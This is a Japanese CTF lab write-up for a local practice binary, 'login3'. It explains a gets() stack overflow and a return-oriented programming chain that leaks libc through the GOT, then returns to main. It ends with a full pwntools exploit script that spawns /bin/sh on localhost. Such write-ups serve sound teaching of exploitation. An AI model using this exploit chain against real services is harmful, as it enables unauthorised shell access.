pwnable: Return-Oriented Programming
参考: GitHub - kusano/ctfpwn_challenge
wget http://localhost:10081/files/login3
wget http://localhost:10081/files/login3.c
wget http://localhost:10081/files/libc-2.31.so
で実行ファイルとソースコードとライブラリを入手します。
nc localhost 10003 でlogin3を実行します。
$ nc localhost 10003
ID: admin
Login Succeeded
ソースコードを確認してみます。
printf("ID: ");
gets(id);
if (strcmp(id, "admin") == 0)
printf("Login Succeeded\n");
else
printf("Invalid ID\n");
}
フラグがないので、/bin/shの取得を目標にします。
1, checksecで分析する
$ checksec --file=login3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols
canaryが無くバッファオーバーフロー攻撃ができそうなこと、
No PIEより実行時のメモリアドレスがランダム化されないことが分かります。
2, One-gadget RCE
One-gadget RCEとは、戻りアドレスを変更し、libcの/bin/shを呼び出すガジェットです。
one-gadgetを使う前に、ASLRを無効化しlibcが配置されるアドレスを検索します。
$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ echo "int main(){}" | gcc -x c - -o rce_test
$ LD_TRACE_LOADED_OBJECTS=1 ./rce_test
linux-vdso.so.1 (0x00007ffff7fce000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc3000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
0x00007ffff7dc3000にlibc.so.6が配置されます。
次にone-gadgetで、/bin/shのアドレス0x00007ffff7dc3000との相対距離を調べます。
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
ASLRが無効な環境では0x00007ffff7dc3000 + 0xe3b34 を呼び出すことで、シェルが起動します。
3, ASLRの回避
以下のコードでprintfとputsのアドレスの差分を見てみます。
#include <stdio.h>
int main()
{
printf("printf : %p\n", printf);
printf("puts : %p\n", puts);
}
コンパイルし実行します
$ ./aslr_test
printf : 0x7f75e9903cc0
puts : 0x7f75e9926450 # アドレス差は0x22790
$ ./aslr_test
printf : 0x7fed27a6fcc0
puts : 0x7fed27a92450 # アドレス差は0x22790
アドレス自体はランダムですが、putsとprintfのアドレス差は0x22790と一定です。
また、objdumpでprintfとputsのシンボルのアドレスを調べます。
$ objdump -d login3
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmpq *0x2fe2(%rip) # 404018 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 pushq $0x0
40103b: e9 e0 ff ff ff jmpq 401020 <.plt>
0000000000401040 <printf@plt>:
401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 <printf@GLIBC_2.2.5>
401046: 68 01 00 00 00 pushq $0x1
40104b: e9 d0 ff ff ff jmpq 401020 <.plt>
....
40121f: e8 1c fe ff ff callq 401040 <printf@plt>
次にgdbで、libc内のprintfのアドレスを調べます
gdb-peda$ b *0x40121f
Breakpoint 1 at 0x40121f
gdb-peda$ r
Breakpoint 1, 0x000000000040121f in main ()
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>: 0x0000000000401046
gdb-peda$ ni
gdb-peda$ x/1xg 0x404020
0x404020 <printf@got.plt>: 0x00007ffff7e24cc0 # printf呼び出し後、libc内のprintfのアドレス
printf実行後の0x404020の値から、libc内のprintfのアドレスが分かります
libc内のprintfのアドレスが分かれば、アドレス差分から/bin/shを呼び出せそうです。
4, Return-oriented programming
Return-oriented programming(ROP)とは、スタックバッファオーバーフローで
ret直前のアドレスへのジャンプを重ね、目的の処理を実行する手法です。
objdumpでputsのアドレスを取得します。
$ objdump -d login3
...
40124e: e8 dd fd ff ff callq 401030 <puts@plt>
401253: eb 0c jmp 401261 <main+0x80>
401255: 48 8d 3d c3 0d 00 00 lea 0xdc3(%rip),%rdi # 40201f <_IO_stdin_used+0x1f>
40125c: e8 cf fd ff ff callq 401030 <puts@plt>
puts()関数はアドレスが0x401030 で固定なので、このアドレスを実行することを目的とします。
puts()関数は、rdiが第1引数となります。
スタックに値を書き込み、rdiにpopし、puts()を呼び出す処理が必要です。
pedaのdumpropを使います。
$ gdb login3
gdb-peda$ start
gdb-peda$ dumprop
$ cat login3-rop.txt | grep "pop rdi"
0x4012d3: pop rdi; ret
0x4012d3にpop rdiがあります。
dumpropは直後にretがある命令だけを探しているため、0x4012d3をスタックに置き、
その後puts()関数のアドレスを書いておけばputs()関数を呼び出すROPの完成です。
puts()でprintf()関数のアドレスを取得し、その後、"もう一度main()を呼び出す"ことでlibcのアドレスを変化させず再度ROPができます。
main()関数をもう一度呼び出す手法を、ret2mainと呼びます。
5, スタックの確認
アドレス | サイズ | 内容 |
---|---|---|
rbp-0x20 | 0x20 | id |
rbp | 0x08 | 古いrbpの値 |
rbp + 0x08 | 0x08 | mainから戻るアドレス |
これを以下のように書き換えます
アドレス | サイズ | 値 | 内容 |
---|---|---|---|
rbp-0x20 | 0x20 | aaaa... | id |
rbp | 0x08 | aaaa... | 適当な値 |
rbp+0x08 | 0x08 | 0x4012d3 | pop rdi; ret |
rbp+0x10 | 0x08 | 0x404020 | printfのGOT(Global Offsets Table) |
rbp+0x18 | 0x08 | 0x401030 | PLT(Procedure Linkage Table)のputs |
rbp+0x20 | 0x08 | 0x4011e1 | main |
このようにスタックを書き換えれば、
pop rdi; ret → printfのアドレスがrdiに → puts(rdi) → main()
と関数が呼び出されていきます。
6 pwntoolsでフラグを獲得
以下のコードでフラグを取得します。
from pwn import *
elf = ELF('login3')
context.binary = elf
s = remote('localhost', 10003)
rop = ROP(elf)
rop.puts(elf.got.printf)
rop.main()
print(rop.dump())
s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain())
s.recvline()
printf = s.recvline() # rop.puts(elf.got.printf)の結果を受け取る
printf = unpack(printf[:-1].ljust(8, b'\0'))
libc = ELF('libc-2.31.so')
libc.address = printf - libc.symbols.printf
rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh')), 0)
print(rop.dump())
s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain())
s.interactive()
Discussion